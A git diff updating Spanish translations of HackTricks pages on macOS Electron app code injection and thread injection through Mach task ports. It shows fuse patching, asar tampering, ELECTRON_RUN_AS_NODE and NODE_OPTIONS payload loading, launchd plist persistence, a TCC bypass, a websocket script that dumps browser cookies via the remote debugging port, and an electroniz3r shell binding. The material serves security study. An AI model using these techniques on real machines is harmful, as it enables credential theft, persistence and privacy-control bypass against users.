aplicaciones de macOS esto es típicamente en `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` +En las aplicaciones de macOS, esto suele estar en `aplicacion.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Puedes cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está desactivado o activado. Solo modifica el código hexadecimal (`0x30` es `0` y `0x31` es `1`) para **modificar los valores del fusible**. +Puedes cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar la cadena anterior. Después de esta cadena, puedes ver en ASCII un número "0" o "1" que indica si cada fusible está deshabilitado o habilitado. Simplemente modifica el código hexadecimal (`0x30` es `0` y `0x31` es `1`) para **modificar los valores de los fusibles**.
-Ten en cuenta que si intentas **sobrescribir** el **binario `Electron Framework`** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará. +Ten en cuenta que si intentas **sobrescribir** el **binario del Marco de Electron** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará. -## RCE añadiendo código a aplicaciones Electron +## RCE añadiendo código a Aplicaciones Electron -Podría haber **archivos JS/HTML externos** que una aplicación Electron esté utilizando, por lo que un atacante podría inyectar código en estos archivos cuya firma no se verificará y ejecutar código arbitrario en el contexto de la aplicación. +Podrían existir **archivos JS/HTML externos** que una Aplicación Electron esté utilizando, por lo que un atacante podría inyectar código en estos archivos cuya firma no será verificada y ejecutar código arbitrario en el contexto de la aplicación. {% hint style="danger" %} -Sin embargo, actualmente hay 2 limitaciones: +Sin embargo, actualmente existen 2 limitaciones: -* Se **necesita** el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una App, por lo que por defecto esto ya no es posible. -* El archivo **`asap`** compilado suele tener los fusibles **`embeddedAsarIntegrityValidation`** `y` **`onlyLoadAppFromAsar`** `activados` +* Se necesita el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una Aplicación, por lo que por defecto esto ya no es posible. +* El archivo compilado **`asap`** generalmente tiene los fusibles **`embeddedAsarIntegrityValidation`** `y` **`onlyLoadAppFromAsar`** `habilitados` -Haciendo este camino de ataque más complicado (o imposible). +Lo que hace que esta ruta de ataque sea más complicada (o imposible). {% endhint %} -Ten en cuenta que es posible eludir el requisito de **`kTCCServiceSystemPolicyAppBundles`** copiando la aplicación a otro directorio (como **`/tmp`**), renombrando la carpeta **`app.app/Contents`** a **`app.app/NotCon`**, **modificando** el archivo **asar** con tu código **malicioso**, renombrándolo de nuevo a **`app.app/Contents`** y ejecutándolo. +Ten en cuenta que es posible evadir el requisito de **`kTCCServiceSystemPolicyAppBundles`** copiando la aplicación a otro directorio (como **`/tmp`**), renombrando la carpeta **`app.app/Contents`** a **`app.app/NotCon`**, **modificando** el archivo **asar** con tu código **malicioso**, volviendo a renombrarlo a **`app.app/Contents`** y ejecutándolo. Puedes desempaquetar el código del archivo asar con: ```bash npx asar extract app.asar app-decomp ``` -Y vuelva a empaquetarlo después de haberlo modificado con: +Y empaquétalo de nuevo después de haberlo modificado con: ```bash npx asar pack app-decomp app-new.asar ``` ## RCE con `ELECTRON_RUN_AS_NODE` -Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si esta variable de entorno está establecida, iniciará el proceso como un proceso normal de Node.js. +Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si esta variable de entorno está configurada, iniciará el proceso como un proceso Node.js normal. {% code overflow="wrap" %} ```bash @@ -101,12 +101,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ {% endcode %} {% hint style="danger" %} -Si el fusible **`RunAsNode`** está desactivado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada y esto no funcionará. +Si el fusible **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada y esto no funcionará. {% endhint %} ### Inyección desde el Plist de la Aplicación -Como [**se propone aquí**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), podrías abusar de esta variable de entorno en un plist para mantener persistencia: +Como se [**propuso aquí**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), podrías abusar de esta variable de entorno en un plist para mantener la persistencia: ```xml @@ -145,14 +145,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di {% endcode %} {% hint style="danger" %} -Si el fusible **`EnableNodeOptionsEnvironmentVariable`** está **deshabilitado**, la aplicación **ignorará** la variable de entorno **NODE\_OPTIONS** al iniciarse a menos que se establezca la variable de entorno **`ELECTRON_RUN_AS_NODE`**, la cual también será **ignorada** si el fusible **`RunAsNode`** está deshabilitado. +Si la fusible **`EnableNodeOptionsEnvironmentVariable`** está **deshabilitada**, la aplicación **ignorará** la variable de entorno **NODE_OPTIONS** al iniciarse a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si la fusible **`RunAsNode`** está deshabilitada. -Si no configuras **`ELECTRON_RUN_AS_NODE`**, encontrarás el **error**: `La mayoría de las NODE_OPTION no son compatibles en aplicaciones empaquetadas. Consulta la documentación para más detalles.` +Si no configuras **`ELECTRON_RUN_AS_NODE`**, te encontrarás con el **error**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` {% endhint %} ### Inyección desde el Plist de la Aplicación -Podrías abusar de esta variable de entorno en un plist para mantener persistencia añadiendo estas claves: +Podrías abusar de esta variable de entorno en un plist para mantener la persistencia agregando estas claves: ```xml EnvironmentVariables @@ -168,9 +168,9 @@ Podrías abusar de esta variable de entorno en un plist para mantener persistenc ``` -## RCE mediante inspección +## RCE con inspección -Según [**esto**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si ejecutas una aplicación Electron con banderas como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se abrirá un **puerto de depuración** al cual puedes conectarte (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\ +Según [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) artículo, si ejecutas una aplicación de Electron con banderas como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se abrirá un **puerto de depuración** al que puedes conectarte (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\ Por ejemplo: {% code overflow="wrap" %} @@ -182,14 +182,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ {% endcode %} {% hint style="danger" %} -Si el fusible\*\*`EnableNodeCliInspectArguments`\*\* está desactivado, la aplicación **ignorará los parámetros de node** (como `--inspect`) al iniciarse a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté establecida, la cual también será **ignorada** si el fusible **`RunAsNode`** está desactivado. +Si el fusible **`EnableNodeCliInspectArguments`** está deshabilitado, la aplicación **ignorará los parámetros de node** (como `--inspect`) al iniciarse a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fusible **`RunAsNode`** está deshabilitado. -Sin embargo, todavía podrías usar el parámetro de electron **`--remote-debugging-port=9229`** pero la carga útil anterior no funcionará para ejecutar otros procesos. +Sin embargo, aún se puede utilizar el **parámetro electron `--remote-debugging-port=9229`** pero la carga útil anterior no funcionará para ejecutar otros procesos. {% endhint %} -Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **punto final json** que las proporcionará). +Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la Aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **punto final json** que las proporcionará). -Puedes aprender cómo hacer eso [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y usar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como: +Puedes aprender cómo hacerlo en [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y utilizar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como: ```python import websocket ws = websocket.WebSocket() @@ -197,11 +197,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -En [**este blogpost**](https://hackerone.com/reports/1274695), se abusa de esta depuración para hacer que un Chrome sin cabeza **descargue archivos arbitrarios en ubicaciones arbitrarias**. +En [**esta publicación de blog**](https://hackerone.com/reports/1274695), este proceso de depuración es abusado para hacer que un chrome sin interfaz gráfica **descargue archivos arbitrarios en ubicaciones arbitrarias**. -### Inyección desde el Plist de la App +### Inyección desde el Plist de la Aplicación -Podrías abusar de esta variable de entorno en un plist para mantener persistencia añadiendo estas claves: +Podrías abusar de esta variable de entorno en un plist para mantener la persistencia agregando estas claves: ```xml ProgramArguments @@ -215,22 +215,22 @@ Podrías abusar de esta variable de entorno en un plist para mantener persistenc ``` -## Elusión de TCC abusando de Versiones Anteriores +## Bypass de TCC abusando de Versiones Antiguas {% hint style="success" %} -El daemon TCC de macOS no verifica la versión ejecutada de la aplicación. Por lo tanto, si **no puedes inyectar código en una aplicación Electron** con ninguna de las técnicas anteriores, podrías descargar una versión anterior de la APP e inyectar código en ella, ya que aún obtendrá los privilegios de TCC (a menos que Trust Cache lo impida). +El demonio TCC de macOS no verifica la versión ejecutada de la aplicación. Por lo tanto, si **no puedes inyectar código en una aplicación Electron** con ninguna de las técnicas anteriores, podrías descargar una versión anterior de la APP e inyectar código en ella, ya que seguirá obteniendo los privilegios de TCC (a menos que la Caché de Confianza lo prevenga). {% endhint %} -## Ejecutar código no JS +## Ejecutar Código no JS -Las técnicas anteriores te permitirán ejecutar **código JS dentro del proceso de la aplicación Electron**. Sin embargo, recuerda que los **procesos hijos se ejecutan bajo el mismo perfil de sandbox** que la aplicación principal y **heredan sus permisos TCC**.\ -Por lo tanto, si quieres abusar de los permisos para acceder a la cámara o al micrófono, por ejemplo, podrías simplemente **ejecutar otro binario desde el proceso**. +Las técnicas anteriores te permitirán ejecutar **código JS dentro del proceso de la aplicación electron**. Sin embargo, recuerda que los **procesos secundarios se ejecutan bajo el mismo perfil de sandbox** que la aplicación principal y **heredan sus permisos de TCC**.\ +Por lo tanto, si deseas abusar de los permisos para acceder a la cámara o al micrófono, por ejemplo, simplemente podrías **ejecutar otro binario desde el proceso**. ## Inyección Automática -La herramienta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se puede utilizar fácilmente para **encontrar aplicaciones Electron vulnerables** instaladas e inyectar código en ellas. Esta herramienta intentará usar la técnica **`--inspect`**: +La herramienta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se puede utilizar fácilmente para **encontrar aplicaciones Electron vulnerables** instaladas e inyectar código en ellas. Esta herramienta intentará utilizar la técnica **`--inspect`**: -Necesitas compilarla tú mismo y puedes usarla así: +Necesitas compilarla tú mismo y puedes usarla de la siguiente manera: ```bash # Find electron apps ./electroniz3r list-apps @@ -274,14 +274,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking de AWS de cero a héroe con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 71c83da4d..c3a282f13 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,16 +1,16 @@ -# Inyección de hilos en macOS a través del puerto de tareas +# Inyección de hilos en macOS a través del puerto de tarea
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -22,35 +22,35 @@ Otras formas de apoyar a HackTricks: ## 1. Secuestro de hilos -Inicialmente, se invoca la función **`task_threads()`** en el puerto de tareas para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para el secuestro. Este enfoque se desvía de los métodos convencionales de inyección de código ya que la creación de un nuevo hilo remoto está prohibida debido a la nueva mitigación que bloquea `thread_create_running()`. +Inicialmente, se invoca la función **`task_threads()`** en el puerto de tarea para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para secuestrar. Este enfoque difiere de los métodos convencionales de inyección de código, ya que la creación de un nuevo hilo remoto está prohibida debido a la nueva mitigación que bloquea `thread_create_running()`. Para controlar el hilo, se llama a **`thread_suspend()`**, deteniendo su ejecución. -Las únicas operaciones permitidas en el hilo remoto implican **detenerlo** y **arrancarlo**, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` para los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurar que el hilo no se caiga después del retorno requiere detectar el retorno. +Las únicas operaciones permitidas en el hilo remoto implican **detenerlo** y **iniciarlo**, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` con los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurar que el hilo no se bloquee después del retorno requiere la detección del retorno. -Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto usando `thread_set_exception_ports()`, estableciendo el registro `lr` en una dirección inválida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepción, lo que permite inspeccionar el estado del hilo para recuperar el valor de retorno. Alternativamente, como se adopta del exploit triple\_fetch de Ian Beer, `lr` se configura para bucle infinito. Luego, se monitorean continuamente los registros del hilo hasta que **`pc` apunte a esa instrucción**. +Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto usando `thread_set_exception_ports()`, estableciendo el registro `lr` en una dirección inválida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepción, lo que permite la inspección del estado del hilo para recuperar el valor de retorno. Alternativamente, como se adoptó del exploit triple\_fetch de Ian Beer, `lr` se establece en un bucle infinito. Luego, los registros del hilo se monitorean continuamente hasta que **`pc` apunte a esa instrucción**. ## 2. Puertos Mach para comunicación -La fase subsiguiente implica establecer puertos Mach para facilitar la comunicación con el hilo remoto. Estos puertos son fundamentales para transferir derechos de envío y recepción arbitrarios entre tareas. +La fase siguiente implica establecer puertos Mach para facilitar la comunicación con el hilo remoto. Estos puertos son fundamentales para transferir derechos de envío y recepción arbitrarios entre tareas. Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes. -Centrándose en el puerto local, el derecho de recepción lo mantiene la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto a la tarea remota. +Centrándose en el puerto local, el derecho de recepción lo tiene la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto a la tarea remota. -Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto para que llame a `mach_thread_self()` para recuperar el derecho de envío. +Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto a llamar a `mach_thread_self()` para recuperar el derecho de envío. -Para el puerto remoto, el proceso es esencialmente inverso. Se dirige al hilo remoto para generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se almacena luego en el kernel usando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al puerto Mach recién asignado en la tarea remota. +Para el puerto remoto, el proceso es esencialmente al revés. Se dirige al hilo remoto a generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se guarda en el kernel usando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al puerto Mach recién asignado en la tarea remota. La finalización de estos pasos resulta en el establecimiento de puertos Mach, sentando las bases para la comunicación bidireccional. ## 3. Primitivas básicas de lectura/escritura de memoria -En esta sección, el enfoque está en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se mejorarán a versiones más avanzadas. +En esta sección, el enfoque se centra en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se actualizarán a versiones más avanzadas. ### Lectura y escritura de memoria utilizando la primitiva de ejecución -El objetivo es realizar la lectura y escritura de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones con la siguiente estructura: +El objetivo es realizar la lectura y escritura de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones con una estructura similar a la siguiente: ```c uint64_t read_func(uint64_t *address) { return *address; @@ -62,7 +62,7 @@ void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Estas funciones corresponden a las siguientes instrucciones de ensamblaje: +Estas funciones corresponden a las instrucciones de ensamblaje proporcionadas: ``` _read_func: ldr x0, [x0] @@ -76,52 +76,48 @@ ret Un escaneo de bibliotecas comunes reveló candidatos apropiados para estas operaciones: 1. **Lectura de Memoria:** -La función `property_getName()` de la [biblioteca de tiempo de ejecución de Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para la lectura de memoria. La función se describe a continuación: - +La función `property_getName()` de la [biblioteca de tiempo de ejecución Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para la lectura de memoria. La función se describe a continuación: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` +Este función actúa efectivamente como la `read_func` al devolver el primer campo de `objc_property_t`. -Esta función actúa efectivamente como la `read_func` al devolver el primer campo de `objc_property_t`. - -2. **Escritura de Memoria:** -Encontrar una función preconstruida para escribir en memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado: -``` +2. **Escribiendo en la memoria:** +Encontrar una función preconstruida para escribir en la memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado: +```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Para realizar una escritura de 64 bits en una dirección específica, la llamada remota se estructura como: +Para realizar una escritura de 64 bits en una dirección específica, la llamada remota se estructura de la siguiente manera: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Con estas primitivas establecidas, se prepara el escenario para crear memoria compartida, marcando un progreso significativo en el control del proceso remoto. - ## 4. Configuración de Memoria Compartida -El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada de funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, que se construye sobre entradas de memoria Mach. +El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada de funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, el cual se basa en entradas de memoria Mach. ### Resumen del Proceso: 1. **Asignación de Memoria**: -- Asignar la memoria para compartir usando `mach_vm_allocate()`. +- Asignar la memoria para compartir utilizando `mach_vm_allocate()`. - Utilizar `xpc_shmem_create()` para crear un objeto `OS_xpc_shmem` para la región de memoria asignada. Esta función gestionará la creación de la entrada de memoria Mach y almacenará el derecho de envío Mach en el desplazamiento `0x18` del objeto `OS_xpc_shmem`. -2. **Creando Memoria Compartida en el Proceso Remoto**: +2. **Creación de Memoria Compartida en el Proceso Remoto**: - Asignar memoria para el objeto `OS_xpc_shmem` en el proceso remoto con una llamada remota a `malloc()`. -- Copiar el contenido del objeto `OS_xpc_shmem` local al proceso remoto. Sin embargo, esta copia inicial tendrá nombres de entradas de memoria Mach incorrectos en el desplazamiento `0x18`. +- Copiar el contenido del objeto `OS_xpc_shmem` local al proceso remoto. Sin embargo, esta copia inicial tendrá nombres incorrectos de entradas de memoria Mach en el desplazamiento `0x18`. -3. **Corrigiendo la Entrada de Memoria Mach**: +3. **Corrección de la Entrada de Memoria Mach**: - Utilizar el método `thread_set_special_port()` para insertar un derecho de envío para la entrada de memoria Mach en la tarea remota. - Corregir el campo de entrada de memoria Mach en el desplazamiento `0x18` sobrescribiéndolo con el nombre de la entrada de memoria remota. -4. **Finalizando la Configuración de Memoria Compartida**: +4. **Finalización de la Configuración de Memoria Compartida**: - Validar el objeto `OS_xpc_shmem` remoto. - Establecer el mapeo de memoria compartida con una llamada remota a `xpc_shmem_remote()`. -Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará de manera eficiente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieren múltiples argumentos. +Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará eficientemente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieran múltiples argumentos. ## Fragmentos de Código Adicionales @@ -135,47 +131,31 @@ Para crear y corregir el objeto de memoria compartida en el proceso remoto: malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Recuerde manejar correctamente los detalles de los puertos Mach y los nombres de entrada de memoria para asegurar que la configuración de memoria compartida funcione adecuadamente. - ## 5. Logrando Control Total -Al establecer con éxito la memoria compartida y obtener capacidades de ejecución arbitraria, hemos ganado esencialmente control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son: +Al establecer correctamente la memoria compartida y obtener capacidades de ejecución arbitraria, hemos logrado control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son: 1. **Operaciones de Memoria Arbitrarias**: -- Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos desde la región compartida. -- Ejecutar escrituras de memoria arbitrarias utilizando `memcpy()` para transferir datos a la región compartida. + - Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos desde la región compartida. + - Ejecutar escrituras de memoria arbitrarias utilizando `memcpy()` para transferir datos a la región compartida. 2. **Manejo de Llamadas a Funciones con Múltiples Argumentos**: -- Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamadas. + - Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamada. -3. **Transferencia de Puerto Mach**: -- Transferir puertos Mach entre tareas a través de mensajes Mach mediante puertos previamente establecidos. +3. **Transferencia de Puertos Mach**: + - Transferir puertos Mach entre tareas a través de mensajes Mach mediante los puertos previamente establecidos. -4. **Transferencia de Descriptor de Archivo**: -- Transferir descriptores de archivo entre procesos utilizando fileports, una técnica destacada por Ian Beer en `triple_fetch`. +4. **Transferencia de Descriptores de Archivo**: + - Transferir descriptores de archivo entre procesos utilizando fileports, una técnica destacada por Ian Beer en `triple_fetch`. -Este control comprensivo está encapsulado dentro de la biblioteca [threadexec](https://github.com/bazad/threadexec), proporcionando una implementación detallada y una API amigable para la interacción con el proceso víctima. +Este control integral está encapsulado dentro de la biblioteca [threadexec](https://github.com/bazad/threadexec), que proporciona una implementación detallada y una API fácil de usar para interactuar con el proceso víctima. ## Consideraciones Importantes: -- Asegúrese de usar correctamente `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos. -- Al transferir puertos Mach o descriptores de archivo, siga los protocolos adecuados y maneje los recursos de manera responsable para prevenir fugas o accesos no intencionados. +- Asegurar el uso adecuado de `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos. +- Al transferir puertos Mach o descriptores de archivo, seguir protocolos adecuados y manejar los recursos de manera responsable para evitar fugas o accesos no deseados. -Siguiendo estas pautas y utilizando la biblioteca `threadexec`, se puede gestionar e interactuar eficientemente con procesos a un nivel granular, logrando control total sobre el proceso objetivo. +Al seguir estas pautas y utilizar la biblioteca `threadexec`, uno puede gestionar e interactuar eficientemente con procesos a un nivel granular, logrando control total sobre el proceso objetivo. # Referencias -* https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/ - -
